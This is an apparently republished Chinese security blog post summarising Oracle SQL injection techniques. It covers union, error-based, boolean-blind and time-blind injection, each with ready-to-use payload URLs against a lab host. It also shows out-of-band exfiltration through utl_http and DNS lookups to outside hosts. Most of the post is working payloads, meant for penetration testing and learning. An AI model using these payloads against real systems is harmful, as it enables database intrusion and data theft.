少年,这是我特意为你酿制的Oracle 注入,干了吧!

最近遇到Oracle注入的测试越来越多,而且互联网上oracle注入的总结较为少见,为了能够快速的进行漏洞测试和挖掘,诞生了想要把之前学习的Oracle注入方式进行温习和总结的想法,便写下这一篇关于Oracle注入的总结,本文参考了Oracle官网,互联网上各个前辈的博客以及各大paper。期待和师傅,前辈们的讨论和交流。

本文中的user 的值是SQLINJECTION。

基础知识:

1. Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。

2. Oracle的数据类型是强匹配的(MYSQL有弱匹配的味道),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。

3. Oracle的单行注释符号是--,多行注释符号/**/。

【union 注入】

1.判断列数:

' order by 3 --

2.判断回显位置:

' union select null,null,null from dual --

3.获取数据库版本信息:

' union select null,(select banner from sys.v_$version where rownum=1),null from dual --

4.获取数据表名:

' union select null,(select table_name from user_tables where rownum=1),null from dual --

' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

5. 获取关键表中的列名:

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --

6. 获取关键列中的字段数据:

' union select SNAME,SUSER,SPWD from T_USER --

Oracle 报错注入

进行测试或漏洞挖掘的时候发现出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中,使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),常见的报错函数见以下示例:

0x01 使用utl_inaddr.get_host_name()进行报错注入。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_inaddr.get_host_name((select user from dual))--

0x02 使用ctxsys.drithsx.sn()进行报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x03 使用XMLType()进行报错注入。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

0x04 使用dbms_xdb_version.checkin()进行报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

0x05 使用dbms_xdb_version.makeversioned()进报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

0x06 使用dbms_xdb_version.uncheckout()进行报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

0x07 使用dbms_utility.sqlid_to_sqlhash()进行报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

0x08 使用ordsys.ord_dicom.getmappingxpath()进行报错注入

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

0x09 使用decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

Oracle 带外通信获取查询结果的方法

Oracle 带外通信获取查询结果的方法,是参考自【SQL注入攻击与防御】中的介绍,可以使用Oracle发送HTTP和DNS请求,并将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取查询结果(此处并未对HTTP和DNS服务器搭建和配置进行介绍),通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,相关函数和方法的使用见如下示例:

0x01 在外网搭建web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --

0x02 利用utl_inaddr.get_host_address(),将查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果。

参考自【SQL注入攻击与防御】

环境搭建参考自:https://ricterz.me/posts/%E7%AC%94%E8%AE%B0%3A%20Data%20Retrieval%20over%20DNS%20in%20SQL%20Injection%20Attacks

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual)is not null--

Oracle 布尔盲注

在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数据,如下是使用了个人觉得较为好用的盲注paylaod,在多次漏洞挖掘中均是使用这两个payload,然后加上脚本编程获取数据的,具体操作看如下示例:

0x01 使用decode函数进行布尔盲注,substr(user,1,1)是条件,'S'是要遍历的位置,如果匹配便返回翻译值1,否则使用默认值0

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --

【decode的理解】

decode(条件,值1,翻译值1,值2,翻译值2,...值n,翻译值n,缺省值)的理解如下:

if (条件==值1)

then    

return(翻译值1)

elsif (条件==值2)

then 

return(翻译值2)   

......

elsif (条件==值n)

then    

return(翻译值n)

else    

return(缺省值)

end if

注:其中缺省值可以是你要选择的column name 本身,也可以是你想定义的其他值,比如Other等;

0x02 使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回‘SQL’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(instr((select user from dual),'SQL'))

【instr函数的理解】

instr函数的使用,从一个字符串中查找指定子串的位置。例如:

SQL> select instr('abcdefgh','de') position from dual;

POSITION

----------

4

从1开始算 d排第四所以返回4

Oracle 时间盲注

测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的,而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库。

0x01 使用DBMS_PIPE.RECEIVE_MESSAGE()进行时间盲注:

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1

实际用法:

/SqlInjection/selcet?suser=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1

【DBMS_PIPE.RECEIVE_MESSAGE的理解】

来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:

DBMS_PIPE.RECEIVE_MESSAGE (

pipename IN VARCHAR2,

timeout IN INTEGER DEFAULT maxwait)

RETURN INTEGER;

可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)

0x02 使用decode()进时间盲注:

(select count(*) from all_objects) 会花费更多是时间去查询所有数据库的条目,所以以这种方式进行时间判断依据,这是一个骚气的方式。(类比OWASP测试指南中老虎机的案例)

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1

使用decode与DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式进行时间盲注。

http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1

小总结

Oracle注入平时接触的机会较为少见,近期突然觉得对Oracle注入的测试变多了,所以对前辈们已提出的各种姿势(感谢前辈们),以及自己遇到并测试过较为好用的payload进行总结,方便以后的测试,希望这篇文章可以让那些对Oracle注入手无对策的朋友们有所收获。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-09-01

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏互联网技术栈

Elasticsearch之元数据(meta-fields)介绍

在Elasticsearch下,一个文档除了有数据之外,它还包含了元数据(Metadata)。每创建一条数据时,都会对元数据进行写入等操作,当然有些元数据是在创...

1656
来自专栏pangguoming

PowerDesigner使用教程|使用方法

PowerDesigner安装方法: http://dev.firnow.com/course/3_program/java/javajs/20090908/...

4746
来自专栏乐沙弥的世界

MySQL Utilities工具包概述及安装

2581
来自专栏技术翻译

关于Couchbase-Dzone数据库,你必须了解的10件事情

此功能已经存在了一段时间,但仍值得一提。一些Key-Value Store只允许你将整个文档全部整合在一起,这是一个合理的。但是,如果你使用Couchbase作...

2470
来自专栏程序员的SOD蜜

EF+MySQL乐观锁控制电商并发下单扣减库存,在高并发下的问题

下订单减库存的方式 现在,连农村的大姐都会用手机上淘宝购物了,相信电商对大家已经非常熟悉了,如果熟悉电商开发的同学,就知道在买家下单购买商品的时候,是需要扣减库...

7188
来自专栏互联网高可用架构

初识分库分表框架DBSPLIT

1774
来自专栏FreeBuf

看你是否够老 – ipman的vxd程序介绍的翻译

不知到现在hack小将们还有多少知道ipman这个东西,当时2000年左右在学校的内网大家玩的不亦乐乎。 年龄大了就开始怀旧,在我尝试了n种搜索方法之后,终于找...

24210
来自专栏Python中文社区

进击的爬虫:用Python搭建匿名代理池

專 欄 ❈ 苍冥,Python中文社区专栏作者,澳洲华裔,目前在墨尔本某国际咨询公司任职Splunk Developer,擅长网络安全及攻防,热爱Python...

3745
来自专栏NetCore

[实录]解决Migrator.Net 小bug

好久没写了,平时比较忙,只能趁周末的时候,写一点小东西,自己也记录一下。 平时我们做项目的时候,都会有自己的数据访问层,为了能方便以后的升级,我们一般会抽象出数...

2345
来自专栏乐沙弥的世界

Oralce 10g 使用DBCA创建数据库

   Oracle提供了DBCA来创建数据库,对于初学者来说使用DBCA创建数据库简化了很多工作和设置,直接在交互界面即可实现所有的功能。然而对于实际的生产数据...

712

扫码关注云+社区

领取腾讯云代金券